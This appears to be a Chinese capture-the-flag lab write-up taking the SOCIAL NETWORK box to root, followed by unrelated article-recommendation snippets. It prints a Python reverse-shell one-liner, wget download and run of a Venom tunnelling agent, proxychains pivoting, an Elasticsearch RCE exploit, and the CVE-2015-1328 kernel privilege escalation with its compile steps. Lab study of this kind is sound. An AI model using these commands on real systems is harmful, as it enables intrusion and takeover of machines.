获取靶机root权限
SOCIAL NETWORK系列的靶场与常规靶场略有不同,拿到手的时候只有一个登录界面,他的ip地址、端口号、账号密码、服务类型、框架结构等信息全都需要我们手动探索。靶场难度为中等难度,这也意味着仅靠一两种进攻手段是无法getshell的, 需要将多种攻击方式综合起来灵活运用。
由于靶场与试验机处于同一网段,我们可以通过在实验机上运行同网段IP地址扫描指令快速定位靶场ip地址
sudo arp-scan -I eth0 -l
sudo nmap -p- 192.168.43.133
nmap -p22,5000 -sV 192.168.43.133
dirsearch -u http://192.168.43.133:5000
nc -lnvp 8888
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.43.132",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
我差点以为已经成功了,接着就在root权限下进行信息收集,本来想找一下passwords文档的,结果发现是个docker。
咱让人骗了,寄
这种感觉就像你去吃的牛肉胡辣汤的时候端上来的只有胡辣汤没牛肉。
(怎么判断是不是Docker容器?如果不能直观的判断出来的话,可以查看一下根目录下是否存在.dockerenv文件:ls /.dockerenv;要么就查看/proc/1/cgroup下是否存在docker目录:cat /proc/1/cgroup)这么看的话特征就很明显了,这也算是判断容器的主流方法了
ls /.dockerenv
cat /proc/1/cgroup
ip address一下,发现内网段为172.17.0.3/16网段
ip address
废话不多说,直接开扫,先写一个for循环
for i in $(seq 1 254); do ping -c 1 172.17.0.$i; done
发现同网段下只有172.17.0.1,172.17.0.2,172.17.0.3存活
我这里用的是Venom,下载地址:https://github.com/Dliv3/Venom/releases
安装完成后在Kali主机Venom目录启动一下Python3 Http Server ,待会需要用靶机去连我们的试验机。
python3 -m http.server 80
然后启动Venom管理端就可以了,监听本地9999端口
./admin_linux_x64 -lport 9999
服务端起来以后,再去靶机部署一下Venom客户端
wget http://192.168.43.132/agent_linux_x64
赋予客户端可执行权限
chmod +x agent_linux_x64
靶机启动客户端
./agent_linux_x64 -rhost 192.168.43.132 -rport 9999
这时候就可以在Kali主机的Venom服务端上看到已经有主机上线了
接下来需要查看一下上线情况
show
发现有一个节点成功上线
现在就可以连接节点启动监听了
goto 1
socks 1080
vi /etc/proxychains4.conf
修改完以后保存退出
三台存活主机挨个扫一遍
proxychains nmap -Pn -sT -sV 172.17.0.1
proxychains nmap -Pn -sT -sV 172.17.0.2
proxychains nmap -Pn -sT -sV 172.17.0.3
9200开启的是ES的服务,其实一看到9200的时候,研究过es相关漏洞的人第一时间就会想到可以利用ES的RCE漏洞打开突破口了。没玩过的也不要紧,直接searchsploit Elasticsearch 搜一下就完事。
我之前在一家客户现场的设备上就见到了很多ES的风险告警,可惜客户觉得是在内网环境下问题不大,一直不愿意整改,结果后来攻防的时候就吃亏了,今天又让我碰到了。
先挑几个RCE的脚本试一下,如果失败的话就全部漏洞挨个抡一遍
searchsploit Elasticsearch
cp /usr/share/exploitdb/exploits/linux/remote/36337.py .
先瞅瞅脚本里都写的啥
vi 36337.py
来来来,让我看看怎么个事
可以看到用的是python2,这样的话我们执行的时候就要注意一下
python2 36337.py
先执行一下脚本看看怎么个用法
可以看到运行的时候在脚本后面跟目标地址就行
ok,直接执行脚本
proxychains python2 36337.py 172.17.0.3
发现这回是root权限,终于在目录下发现了passwords文件
泪目
不出意外密码是加密的,这种的用Hashcat整或者用在线解密工具整都可以
登一下看看
ssh [email protected]
sudo -s
激动的心颤抖的手
终于到了这一步,如果能成功的话到此就圆满结束了
失败了
f**k
压根不在管理员组
查看一下内核版本
uname -a
可以看到内核版本是比较老旧的,但具体有什么洞我也不知道,只能先搜一下看看
searchsploit linux 3.13.0 ubuntu priv
这么看的话,还真有不少
先整一个再说
cp /usr/share/exploitdb/exploits/linux/local/37292.c .
打开瞅瞅
看起来是一个C语言写的脚本,需要用到gcc进行编译,先拿到靶机上跑一下试试
报错了,咋回事,再看一下。。。
靶机上没有gcc,根本编译不了
这样的话就这只能在kali上编译完再拿给靶机执行了(其实做到这一步的时候,我把编译后的文件拿到靶机运行还是提权失败的,不知道是哪里出了问题。一开始以为是靶机环境问题,试了下重启,结果还是不行,因为前面搭隧道的时候靶机就一直自行中断,每次都得重启一下,原本以为重启能够解决,这样看来跟靶机本身没啥关系)只能重读一下代码看看
后来发现其实问题还是出在脚本上。脚本在后半段第143行定义了一个变量lib,通过这个变量调用的system函数,是这里的函数再次执行了gcc指令,把C语言的库文件ofs-lib.c编译成二进制共享库文件ofs-lib.so。
而脚本调用的正是重新编译后的二进制共享库文件ofs-lib.so,在139行这里我们就可以看到对二进制共享库文件ofs-lib.so进行调用的代码
这也就很好的解释了为什么我拿着编译后的脚本去靶机跑还是会失败,主要还是因为脚本需要两次用到gcc命令进行编译。即便我已经编译过一次了,拿着编译后的文件到靶机上跑的时候它还是要再执行一次gcc指令把C语言库文件ofs-lib.c编译成二进制共享库文件ofs-lib.so
这样的话问题就简单了,只需要先把ofs-lib.c文件先编译好,再把编译好的文件单独拎出来发给靶机就OK了
先在kali上找一下C语言的库文件ofs-lib.c给他编译一下,呃。。。没有这怎么编译
locate ofs-lib.c
再找一下二进制共享库文件ofs-lib.so 看看,msf的漏洞利用模块里倒是有编译好的。如果C语言的库文件ofs-lib.c在kali里没有只在靶场环境下才有的话,那为啥msf里会有编译好的呢
locate ofs-lib.so
这波属于舍近求远了
有了现成的so文件,后面直接调用就ok,那脚本里关于编译ofs-lib.c文件的代码直接删掉或者注释掉就行了,即便后面运行的时候会出现报错也不会影响其他函数
先进行第一次编译
gcc -o exp 37292.c
把ofs-lib.so文件拎出来
locate ofs-lib.so
cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so .
之前起的server已经被我关掉了,这里我再在 kali主机先启一个http server方便靶机下载文件
python3 -m http.server 80
在靶机上下载exp和ofs-lib.so
wget http://192.168.43.132/exp
wget http://192.168.43.132/ofs-lib.so
下载完成后把文件放在tmp目录下
mv * /tmp/
cd /tmp
看一下,确认俩文件都在tmp目录下了,为啥要放到tmp目录下呢,主要还是因为脚本在调用so文件的时候是要去tmp目录下调用的,我们都给他整到tmp目录下可以避免报错从而提高成功率
这个是前面脚本里关于调用so文件的代码
给exp一个可执行权限,然后执行一下看看,这三行是三条指令
chmod +x exp
./exp
id
执行exp文件,提权成功
做的过程中遇到的问题以及各种报错层出不穷,从第一步开始靶场都扫不到,手动探测的时候发现靶场端口一会儿是开着的一会儿又关了,每次都得重启好几回。而且C语言的库文件ofs-lib.c本地是没有的,编译的时候纠结了半天,没想到msf的漏洞利用模块里倒是有编译好的so文件,每次卡住的时候百度一搜全是答案没有过程,说实话,如果拿到靶场上手做的时候不看答案倒推思路的话,很难第一时间想到可以直接搜出来编译后的文件。
从主机发现、端口扫描、服务发现、目录扫描、代码注入、Shell脚本执行、内网信息收集、内网穿透、漏洞利用、密码破解、本地提权、攻击脚本修改到提权成功,一路顺下来是一个漫长的过程。光是提权脚本需要两次编译这个地方就花了不少时间,脚本有的是,但环境又未必支持,可能探索的过程就是解题的魅力所在了,没有环境搭环境,缺工具就部署工具,希望没有辜负出题者的一番苦心吧。
现在是凌晨两点半,接下来开始整下一个题目,来看看这回的题是个啥路子
文章浏览阅读1.7k次。功能一,近日遇到需要给输入的文字换行,并自动换二格的问题,几经周折,终于找到了解决方案先判断软键盘输入的是enter键。在这里 return true的是为了防止输入法自身遇到enter键换行,这样就会导致换二行出现。而除了enter 返回false,就是为了让其它的软键盘功能正常使用,不然删除等键全会失效!另外加一个 action_up是为了防止 这里调用2次这个方法。action_do..._edittext set keycode_enter
文章浏览阅读1.3k次,点赞20次,收藏35次。Linux 常用命令_linux常用命令 csdn
文章浏览阅读3.9k次。/** * clearEmptyValue 清除多维数组里面的空值 * @param array $array * @return array * @author liuml * @DateTime 2018/12/3 11:27 */function array_filter_recursive(array &$arr){ if (empty($arr)) ..._php array_filter 多维数组
文章浏览阅读99次。python install Twisted这里是运行成功的截图阅读目录系列文章目录前言一、编写Tenxun.py爬虫文件二、在item.py列表里进行设置数据表三、在pipelines.py列表里进行设置数据表四、在settings.py文件里配置爬虫五、运行爬虫总结前言随着我们对爬虫的了解,以前我们用requests可以请求进行解析网页可以提供我们想要的数据 ,现在我们网页的数据量很多的时候,..._datas = json.loads(response.text).get('ret_array', list()
文章浏览阅读223次。块存储服务部署相关块存储服务(cinder)为实例提供块存储。存储的分配和消耗是由块存储驱动器,或者多后端配置的驱动器决定的。还有很多驱动程序可用:NAS/SAN,NFS,ISCSI,Ceph等。典型情况下,块服务API和调度器服务运行在控制节点上。取决于使用的驱动,卷服务器可以运行在控制节点、计算节点或单独的存储节点。1.块存储服务概览OpenStack块存储服务(cinder)为虚拟机添加持久..._怎么安装volumev3服务
文章浏览阅读1.6w次,点赞4次,收藏31次。最近项目中用到室外三维模型与室内三维地图交互,室外三维模型的加载我们采用了cesium js来实现,在使用的过程中遇到了许多的问题,闲暇之余将其实现及遇到的问题记录下来,以备将来再用到时少走弯路。 一、开发环境准备 1、下载cesium js cesium js 下载地址 https:..._cesiumjs 加载模型
文章浏览阅读5.5k次。1.iPhone OS 2.0 苹果在2008年3月6日iPhone SDK Roadmap会上正式介绍了iPhone OS 2.0。这个版本的获得的重要更新可以分成一下4大类:-企业增强-微软Exchange ActiveSync-iPhone SDK-App Store 在2008年6月的WWDC大会上苹果宣布包括MobileMe服务以及其他_不同ios版本元素
文章浏览阅读1.9k次,点赞3次,收藏3次。tabs中使用echarts,除了第一个图表能默认显示外,当tabs切换的时候,第一个之后的可能就显示不了了,如何解决?<template> <div> <el-row> <el-col :span="24"> <el-card> <el-tabs v-model="activeName" type="card" @tab-click="handleClick"> ._在element的tabs里面放echarts
文章浏览阅读5.9w次,点赞73次,收藏282次。这里分享一篇文献中椭圆检测的方法(代码使用方法)。圆的物体,在实际拍摄中由于种种原因可能会变成椭圆,用圆拟合就不够准确。_椭圆检测
文章浏览阅读5k次,点赞5次,收藏44次。微信小程序,手机号授权登录需求。_微信手机号授权登录代码
文章浏览阅读8.7k次,点赞2次,收藏4次。数据库实体间有三种对应关系:一对一,一对多,多对多。 一对一关系示例:一个学生对应一个学生档案材料,或者每个人都有唯一的身份证编号。 一对多关系示例:一个学生只属于一个班,但是一个班级有多名学生。 多对多关系示例:多对多就是双向一对多,一个学生可以选择多门课,一门课也有多名学生。1.一对多关系处理: 通过学生和班级问题了解一对多:..._实体之间的联系有一对一、一对多
文章浏览阅读619次。您所在位置:网站首页 > 海量文档 > 计算机 > matlab基于Matlab语言的系统可靠性仿真.pdf3页本文档一共被下载:次,您可全文免费在线阅读后下载本文档。 下载提示1.本站不保证该用户上传的文档完整性,不预览、不比对内容而直接下载产生的反悔问题本站不予受理。2.该文档所得..._幅值可靠性函数的模拟